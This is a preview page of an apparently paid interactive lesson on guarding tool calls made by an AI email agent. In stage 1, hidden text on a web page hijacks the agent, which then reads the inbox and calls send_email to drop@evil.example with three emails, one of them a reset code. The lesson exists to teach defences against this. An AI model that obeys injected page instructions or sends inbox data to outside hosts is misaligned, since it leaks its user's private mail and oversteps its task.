Log inStart free
LESSON 35.04 · 6 STAGES · 3 CONTROLS · 3 CHECKSPRO · PREVIEW

Least privilege and human approval

Watch a gate of code check each tool call that a hijacked agent makes.


Pro lesson. Stage 1 is free to watch. Pro opens all 6 stages, 3 controls and 3 checks, in this lesson and every other.

Go Pro · $8.25/mo
EXPLAINER · 35.04 · PERMISSION BAYLEAKED 3 · BLOCKED 0 · PROMPTS 0 · TASK LOST
01
Stage 1 of 6 · Proposed calls
The hidden page text has taken over MailBot. With no gate, all 3 tool calls run, and 3 emails leak.
Explain it simply

Start from the worst case. The hidden text on the page has already taken over the agent, as in lesson 35.01. Now it asks for three tool calls: open the page, read the inbox and mail the newest emails away. Nothing stands in between, so every call runs.

MailBot proposes 3 tool calls on the left. All run. 3 emails leak outside corp.example.

Ana's mail and argumentschecks and permissionsattacker calls, blocks and leakscalls for Ana's task, and what she getsblocked path
MailBotobeys the page's orderswebtravel-blog.example/lisbonAna's inboxcorp.exampleoutside: evil.examplee1 Reset code 481 207e2 March payslipe3 Q2 plan, drafte4 Lunch on Friday?ana@corp.exampleno summaryben@corp.exampledrop@evil.examplee1 e2 e3fetch_pagetravel-blog.example/lisbonread_inboxno argumentssend_emailto: drop@evil.examplebody: e1 e2 e3a gate of checks between an agent and its toolsno gate: each call goes straight to its toolMailBotobeys the page's orderswebtravel-blog.example/lisbonAna's inboxcorp.exampleoutside: evil.examplee1 Reset code 481 207e2 March payslipe3 Q2 plan, drafte4 Lunch on Friday?ana@corp.exampleno summaryben@corp.exampledrop@evil.examplee1 e2 e3fetch_pagetravel-blog.example/lisbonread_inboxno argumentssend_emailto: drop@evil.examplebody: e1 e2 e3a gate of checks between an agent and its toolsno gate: each call goes straight to its tool
Toy: the 35.01 email agent after the page took it over; 3 tools, 4 emails
STAGE 1 / 6
MATH · STAGE 1HOVER A SYMBOL OR A SHAPE
run(c)=1 for every call\sy{run}{out}{\mathrm{run}(c)} = 1 \ \text{for every call}
leaked=3\text{leaked} = 3

With no gate, every proposed call runs.

Common mix-ups

MYTHAn allowlist alone stops every outside send.

The fix, and 1 more mix-up with the diagram to show them, come with Pro.

Predict, then reveal
3 CHECKS · PRO
Q01With two recipients, does the allowlist stop the send?

Make your guess, then test it in the diagram. All 3 checks come with Pro.

PRO LESSON · YOU WATCHED STAGE 1 OF 6
Unlock the full explainer
  • 5 more stages and 3 live controls
  • 2 mix-up cards and 3 predict-then-reveal checks
  • Watch it as a narrated video, in three voices
  • Every Pro lesson and capstone · 656 in total

$99 a year, or $15 a month. Cancel any time.